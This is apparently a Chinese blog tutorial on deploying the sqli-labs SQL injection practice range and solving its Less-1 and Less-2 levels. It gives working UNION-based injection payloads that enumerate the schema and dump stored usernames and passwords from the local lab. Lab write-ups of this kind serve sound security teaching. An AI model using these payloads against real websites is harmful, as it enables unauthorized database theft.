怎么部署 sqli-Labs(SQL 注入练习靶场)及less1、2讲解

前言

本文内容:

  1. 部署sqli-Labs(超级简单,跟着学就会)

  2. less-1和less-2的解题步骤与详细原理解释

本文教的很详细,感觉把常见的坑都踩了!

后续将会根据本人自学进度,按page1-4发布整个sqli-labs的解题步骤

每篇题目有点多,主包其他内容也要更新,可能会更新有点慢,可以关注本专栏或者主包哦

部署靶场

部署 SQLi-Labs (SQL 注入练习靶场)主要有两种方式:传统源码部署 (适合学习 LAMP/WAMP 架构)和 Docker 部署 (最快、最干净)。个人推荐Docker,比较方便还不用下载源代码。

我推测你可能已经安装了集成环境(如 phpStudy、XAMPP 等),如果没有安装可跳转到phpstudy详细安装教程(包括部署dvwa靶场)

以下是基于 Windows (phpStudy/XAMPP)Docker 的详细部署教程:


🚀 方法一:传统源码部署(推荐 Windows 用户)

这种方法适合想要深入理解 PHP 和 Web 服务器配置的学习者。

1. 下载源码
  • 访问 GitHub 仓库:SQLi-Labs GitHub
  • 点击 Code -> Download ZIP 下载压缩包。
  • 解压文件夹,将其重命名为 sqli-labs
2. 放入网站根目录
  • phpStudy (小皮面板) :将 sqli-labs 文件夹移动到 D:\phpstudy_pro\WWW\ 目录下。
  • XAMPP :移动到 C:\xampp\htdocs\ 目录下。
  • 注意 :确保文件夹内直接是 index.htmlLess-1 等文件,不要多层嵌套。
3. 修改数据库配置

这是新手最容易卡住的地方,必须配置数据库账号密码才能连接。

  1. 进入文件夹路径:sqli-labs/sql-connections/

  2. 找到文件 db-creds.inc,用记事本或代码编辑器打开。

  3. 修改以下两行(根据你的数据库设置):

    复制代码
    $dbuser = 'root';       // 你的数据库用户名,默认通常是 root
    $dbpass = 'root';       // 你的数据库密码,phpStudy 默认通常是 root 或空

    如果不确定密码,可以在 phpStudy 面板的"数据库管理"中查看或重置。

4. 初始化数据库
  1. 启动 Apache 和 MySQL 服务。
  2. 打开浏览器,访问:http://localhost/sqli-labs
  3. 你会看到首页,点击页面中间的 "Setup/reset Database for labs" 链接。
  4. 如果看到满屏的 "successfully"(如 Creating New database 'SECURITY' successfully),说明部署成功!

🐳 方法二:Docker 部署(最快、最省事)

如果你安装了 Docker,这是最推荐的方式,不需要配置 PHP 环境,也不用担心版本兼容问题。

需要点魔法或者使用镜像加速器

(本人2开靶场的问题,我一开始都不知道要魔法,一直下不成功---由于一些原因重新拉镜像)

请按照以下步骤,把配置的地址换成下面这些稳定的:

  1. 打开 Docker Desktop 设置

    • 点击齿轮图标 ⚙️ -> Docker Engine
  2. 修改 JSON 配置

    • registry-mirrors 里的内容替换成下面这一组(推荐网易和阿里云,比较稳):

    1{
    2 "builder": {
    3 "gc": {
    4 "defaultKeepStorage": "20GB",
    5 "enabled": true
    6 }
    7 },
    8 "experimental": false,
    9 "registry-mirrors": [
    10 "https://hub-mirror.c.163.com",
    11 "https://docker.mirrors.ustc.edu.cn",
    12 "https://registry.docker-cn.com"
    13 ]
    14}

注意 :把 registry-mirrors 地址换成了 网易 (163)中科大 (ustc)Docker 中国官方

点击 Apply & restart,等待 Docker 重启。

一切准备就绪后

1. 拉取镜像

打开终端(CMD 或 PowerShell),输入以下命令:

复制代码
docker pull acgpiano/sqli-labs
2. 运行容器

执行以下命令启动靶场(将容器的 80 端口映射到本机的 8081 端口):

复制代码
docker run -dt --name sqli-labs -p 8081:80 --rm acgpiano/sqli-labs
  • -p 8081:80:表示访问本机的 8081 端口就能访问靶场。
  • --name sqli-labs:给容器起个名字叫 sqli-labs。
  • 执行命令之后的倒数第二行:becb5e。。。。这个是随机生成的容器
3. 访问与初始化
  1. 浏览器访问:http://127.0.0.1:8081
  2. 同样点击 "Setup/reset Database for labs" 进行初始化。
  3. 看到 "successfully" 即可开始练习。

🛠️ 常见问题排查

问题现象 可能原因 解决方案
Access denied for user 'root'@'localhost' 数据库密码错误 检查 sql-connections/db-creds.inc 文件中的 $dbpass 是否与你实际数据库密码一致。
页面空白 / 500 错误 PHP 版本不兼容 SQLi-Labs 较老,建议使用 PHP 5.x 或 7.x 版本。如果是 PHP 8.x 可能会报错,建议在集成环境中切换 PHP 版本。
点击 Setup 没反应或报错 数据库未启动 确保 MySQL 服务已经开启。
文件夹嵌套错误 解压路径不对 确保访问路径是 localhost/sqli-labs 而不是 localhost/sqli-labs-master/sqli-labs

如果本次用完,关掉了,之后怎么重新打开

这就涉及到 Docker 容器的生命周期管理了。这里有个关键点需要注意:你在启动命令里用了 --rm 参数,这会让容器在停止后自动销毁。为了以后方便使用,我建议你分两种情况来看:

情况一:如果你还没运行,或者愿意重新运行一次(推荐)

因为你的命令里加了 --rm,这意味着当你关机或停止容器时,这个容器会被自动删除。下次你想用,其实和第一次一样,还是得重新运行命令。

一定要注意,刚开会显示没配置好数据库(如图),不要着急,先等会(来自本人---惨痛的教训)

如果像上面一样显示没配置好数据库,然后你又着急了删了生成的容器,重新生成一个就好了,别删错镜像文件了,如果删除了也是开魔法直接按照上面步骤重新下载启动就好了

没删除镜像文件,步骤如下:

  1. 打开 Docker Desktop:确保右下角小鲸鱼图标不转圈。

  2. 打开 PowerShell

  3. 输入启动命令 (和之前一样):

    复制代码
    docker run -dt --name sqli-labs -p 8081:80 --rm acgpiano/sqli-labs

    打开浏览器:访问。

小贴士 :虽然容器被删了,但镜像 还在你电脑里。所以下次运行 docker run 时,Docker 会直接利用本地镜像瞬间启动,不需要重新下载,非常快!

情况二:如果你想要"暂停"和"继续"(进阶玩法)

如果你不想每次都重新运行命令,而是想像暂停游戏一样"保存状态",下次直接"继续",那启动时不要加 --rm

如果你想体验这种模式,可以这样操作:

1. 启动(第一次)

去掉 --rm 运行:

复制代码
docker run -dt --name sqli-labs -p 8081:80 acgpiano/sqli-labs
2. 用完之后(停止)

关机前,在 PowerShell 输入:

复制代码
docker stop sqli-labs

此时容器停止了,但没有被删除。

3. 下次再用(启动)

只需要输入这个简短的命令就能"唤醒"它:

复制代码
docker start sqli-labs

不需要再加那些复杂的参数了。

总结: 鉴于你是初学者,且 acgpiano/sqli-labs 这个靶场通常不需要保存做题进度(代码是只读的),建议你直接沿用"情况一"的方法

简单记就是:

每次想做题 -> 开 Docker -> 输一遍 docker run ... 命令 -> 做题 -> 关机。

反正镜像已经在本地了,启动只需要 1 秒钟。

下载完之后启动,可以把梯子关掉吗

放心关,完全没问题。

下载完(pull)之后,启动(run)和使用过程全是本地操作,不需要梯子。

你可以放心地按以下流程操作:

  1. 关掉梯子:现在就可以关。
  2. 保持 Docker 开启:确保 Docker Desktop 是运行状态。
  3. 启动命令 :在 PowerShell 里输入 docker run 命令。
  4. 访问 :打开浏览器访问 localhost:8081

一句话总结:只要不下载新东西,光运行已经有的镜像,全程都不需要梯子。

📚 开始练习

部署成功后,首页会列出所有关卡(Less-1 到 Less-65):

  • Less-1 ~ Less-10:GET 请求注入(基础)。
  • Less-11 ~ Less-22:POST 请求注入(登录框、头部注入等)。
  • Less-23 ~ ...:各种过滤绕过和进阶技巧。

sqli-LABS Page-1 (Basic Challenges)

less-1

大概操作步骤总结

具体操作步骤及详解

首先注意的,在浏览器地址栏的当前地址后面(也就是url部分后面)是加 ?id=1,不是直接id=1(标点符号是英文)

正确:

打错:

开始注入

既然能正常显示数据,现在就可以开始尝试 SQL 注入了。

测试点 1:判断注入类型(字符型 vs 数字型)

Less-1 是经典的 字符型注入(单引号闭合)

  • 操作: 在地址栏输入 ?id=1'
  • 预期结果: 页面应该会报错,出现 SQL 语法错误提示(You have an error in your SQL syntax...)。
  • 原理: 因为后台代码大概是 SELECT * FROM users WHERE id='$id' LIMIT 0,1。当你输入 1' 时,SQL 语句变成了 ...WHERE id='1''...,多出来的单引号破坏了语法。

测试点 2:尝试绕过(闭合单引号)

  • 操作: 输入

    复制代码
     ?id=1' --+

    (注意 -- 后面有个加号或者空格)或者

复制代码
  ?id=1' and '1'='1
  • 预期结果: 页面恢复正常,再次显示 "Your Login name: Dumb"。
  • 原理:1. -- 是 SQL 的注释符,它把后面多余的单引号给注释掉了。**2.**闭合单引号

确定有多少列,order by

你需要不断修改 URL 中的数字,直到页面报错为止。

尝试 ORDER BY 1ORDER BY 4

保持你在上一轮的注入点(即闭合了单引号并注释掉后面内容的状态),依次尝试以下链接:

  • 尝试 1: ?id=1' order by 1 --+
    • 结果: 页面正常。说明列数 ≥≥ 1。
  • 尝试 2: ?id=1' order by 2 --+
    • 结果: 页面正常。说明列数 ≥≥ 2。
  • 尝试 3: ?id=1' order by 3 --+
    • 结果: 页面正常。说明列数 ≥≥ 3。
  • 尝试 4: ?id=1' order by 4 --+
    • 结果: 页面报错 。你会看到类似 Unknown column '4' in 'order clause' 的错误提示。

结论 因为 order by 3 正常,而 order by 4 报错,这说明该查询语句中 正好有 3 列

为什么要找列数?

找到列数(这里是 3)是为了下一步使用 UNION SELECT 联合查询做准备。只有当 UNION 前后的查询语句列数一致时,数据才能成功显示在页面上。

虽然查询3项,但是页面上会显示3项吗

确定都显示,那么之后查询表,查询列,这三项都可以利用

?id=-1'union select 1,2,3#

如果没有加负号,就如下图所示

目前页面上显示的 "Dumb" 是数据库里原本 id=1 的数据。为了看清我们查询出来的结果,需要先让前面的数据"消失"。

让前面的数据消失

你需要把 id=1 改成一个 不存在的 ID (比如 -1 或者 9999)。这样前面的查询结果为空,页面上就会只显示后面 UNION 查询出来的数据。

  • 修改前: ...?id=1' union select 1,2,3 --+
  • 修改后: ...?id=-1' union select 1,2,3 --+
观察页面变化

当你把 id 改为 -1 后,页面中间应该会直接显示数字:

  • Your Login name: 2
  • Your Password: 3
    (注意:1 通常不会显示,或者显示在页面的其他角落,比如标题栏里)

结论: 既然 2 和 3 显示在了页面上,说明这两个位置是 回显位。接下来,你可以把 2 和 3 替换成具体的数据库函数,来查询你想要的信息了。

为什么必须加 ?(问号)
  • ? 的作用:它是 URL 中的分隔符,告诉服务器"前面是文件路径,后面是参数"。
如果不加问号

浏览器在发送请求时,空格 是非常特殊的字符。它会自动把空格转换成 %20

所以服务器接收到的请求实际上变成了:
.../Less-1/id=-1'%20union%20select%201,2,3%20--+

你看地址栏,Less-1 后面直接跟了 /id=...。这说明浏览器或者你输入的时候,把 id=... 当做了子目录 或者文件名,而不是参数。

对于 Apache 服务器来说,URL 的路径部分是 /Less-1/id=-1',而后面的 union... 被当成了路径的一部分,而不是参数。服务器找不到叫这个名字的文件,所以报了 404 Not Found

怎么样判断成功?

出现 "Your Login name" 和 "Your Password" 并且后面跟着数字,就说明这一步完全成功了!

这代表你已经成功做到了以下三点:

  1. 闭合了单引号:成功修复了原本报错的 SQL 语法。
  2. 注释掉了后面的代码 :成功屏蔽了后面原本多余的单引号(--+ 生效了)。
  3. 注入了自己的查询 :成功利用 UNION 让数据库执行了你写的 select 1,2,3,并且把结果(数字 2 和 3)显示在了页面上。

获取数据库信息

既然位置 2 和位置 3 会显示在页面上,你就可以把这两个数字替换成数据库的函数,来"偷"数据了。

爆当前数据库名和版本

把 URL 中的 1,2,3 改成下面的代码(保留 -1 和引号闭合):

127.0.0.1:8081/Less-1/?id=-1' union select 1, database(), version() --+

  • database() :会显示当前数据库的名字(Less-1 应该是 security)。
  • version() :会显示 MySQL 的版本(比如 5.5.53)。
爆当前的数据库用户

127.0.0.1:8081/Less-1/?id=-1' union select 1, user(), 3 --+

  • user() :会显示数据库的用户名(通常是 root@localhost)。

效果:

页面上的 "Your Login name" 后面应该会变成 security(或者是版本号),这就代表你真正开始拿到数据了!

拿到这个网站所有用户的账号和密码

第一步:搞清楚有哪些(表名)

数据库(security)就像一个大仓库,里面有很多表(Tables)。我们需要知道表的名字才能去查数据。

在 MySQL 中,有一个自带的情报库叫 information_schema,里面记录了所有数据库的表名。

操作指令:

我们要查询 security 库里有哪些表。

复制代码
127.0.0.1:8081/Less-1/?id=-1' union select 1,2, group_concat(table_name) from information_schema.tables where table_schema='security' --+

代码解释:

  • table_schema='security':告诉数据库,我们只查 security 这个库。
  • group_concat(...):因为页面只显示一行结果,这个函数会把查到的所有表名连成一串字符串显示出来,防止被截断。
  • from information_schema.tables:这是 MySQL 存放地图的地方。

结果:

页面 "Your Password" 的位置(也就是数字 2 的位置)应该会显示:
emails,referers,uagents,users

这里最关键的是 users 这张表,听名字就是存账号密码的。


第二步:搞清楚有什么(列名)

知道了表名是 users,接下来要看这张表里有哪些列(Columns)。我们要找的是存放用户名和密码的列。

操作指令:

查询 users 表的列名。

复制代码
127.0.0.1:8081/Less-1/?id=-1' union select 1,2, group_concat(column_name) from information_schema.columns where table_name='users' --+

注意: 如果报错,可能需要把 'users' 写成十六进制 0x7573657273 来绕过一些简单的过滤(但在 Less-1 通常不需要)。

结果:

页面应该会显示:
id,username,password

太棒了!我们找到了宝藏:usernamepassword


第三步:查数据

现在我们要做的就是把 users 表里的 usernamepassword 这两列的数据全部读出来。

操作指令:

不再查 information_schema 了,直接查 security 库里的 users 表。

复制代码
127.0.0.1:8081/Less-1/?id=-1' union select 1,2, group_concat(username, ':', password) from users --+

代码解释:

  • from users:直接从目标表查。
  • group_concat(username, ':', password):把用户名和密码拼在一起,中间加个冒号,方便阅读。

最终结果:

页面的下方会列出一长串账号密码:
Dumb:Dumb,Angelina:I-kill-you, Dummy:p@ssword, ... admin:admin

恭喜你! 你刚刚完成了一次完整的 SQL 注入攻击,成功拖库(Dump Database)。

less-2

Less-2 的特点是:不需要闭合引号。

在 Less-1 中,我们需要 ' 来闭合前面的单引号。但在 Less-2 中,后台的 SQL 语句大概长这样:

复制代码
SELECT * FROM users WHERE id=$id LIMIT 0,1

注意 $id 这里没有引号包裹。

1. 验证注入点
  • 正常访问: ?id=1 -> 页面正常显示 Dumb。
  • 测试报错: ?id=1' -> 页面报错(因为 SQL 变成了 id=1',多了一个多余的单引号)。
  • 测试逻辑: ?id=1 and 1=1 -> 页面正常。
  • 测试逻辑: ?id=1 and 1=2 -> 页面异常(不显示用户)。

结论: 这是一个整数型注入 ,不需要 ' 来闭合。没看懂这一步就反复去看less-1,讲的很详细了

2. 确定列数

和 Less-1 一样,使用 ORDER BY

  • ?id=1 order by 3 --+ -> 正常
  • ?id=1 order by 4 --+ -> 报错

结论: 依然是 3 列

3. 爆数据(Union Select)

因为不需要闭合单引号,Payload 会比 Less-1 短一点。

我们需要让前面的 id=1 失效,所以用 -1

Payload:

复制代码
?id=-1 union select 1,2,3

(注意:这里不需要 -- 注释符了,因为后面没有多余的单引号需要处理,当然加了也没错)

4. 获取信息

接下来的步骤和 Less-1 完全一样,只是去掉了单引号:

  • 查库名:

    ?id=-1 union select 1,2,database()

  • 查表名:

    ?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

核心区别总结:

  • Less-1: ?id=-1' union select 1,2,3 --+ (有单引号闭合)
  • Less-2: ?id=-1 union select 1,2,3 (直接拼接,无单引号)

你可以直接尝试上面的 Payload,应该能顺利看到数字 2 和 3 显示在页面上。

  • 获取当前数据库与用户

    ?id=-1 union select 1, user(), 3 --+

获取所有用户的账号和密码

复制代码
?id=-1 union select 1,2, group_concat(username, ':', password) from users --+

太棒了!既然你已经成功拿下了 Less-1 和 Less-2,那咱们的环境搭建阶段就圆满结束了。

总结一下这两关

  • Less-1 :是经典的单引号字符型注入,我们学会了用 ' 来闭合前面的代码,再用 --+ 注释掉后面多余的部分。
  • Less-2:是数字型注入,不需要引号,直接上数字就行。

这两关其实就是 SQL 注入的"入门基本功"

先把环境搞定,后面遇到复杂的关卡也就心里有底了。

相关推荐
2501_914245931 小时前
CSS如何提升CSS预处理器的编译效率_利用BEM结构优化选择器匹配
jvm·数据库·python
瀚高PG实验室2 小时前
普通用户可以访问系统目录
数据库·瀚高数据库
qq_330037992 小时前
C#怎么解析XML文件 C#如何用XmlDocument和LINQ to XML读写XML数据【基础】
jvm·数据库·python
weixin_408717772 小时前
如何大幅提升 Google Sheets 数据库更新脚本的执行效率
jvm·数据库·python
Jasminee2 小时前
SQL 基础语法总结
sql·mysql
qq7590353662 小时前
docker一键部署SQLynx,轻量级数据库管理平台
数据库·docker·容器
m0_515098422 小时前
如何实现SQL数据分片规则更新_利用触发器同步元数据
jvm·数据库·python
qq_330037992 小时前
uni-app怎么实现App端蓝牙搜索与连接 uni-app低功耗蓝牙开发【代码】
jvm·数据库·python
qq_654366982 小时前
SQL中如何通过JOIN实现级联删除_利用外键约束与JOIN辅助
jvm·数据库·python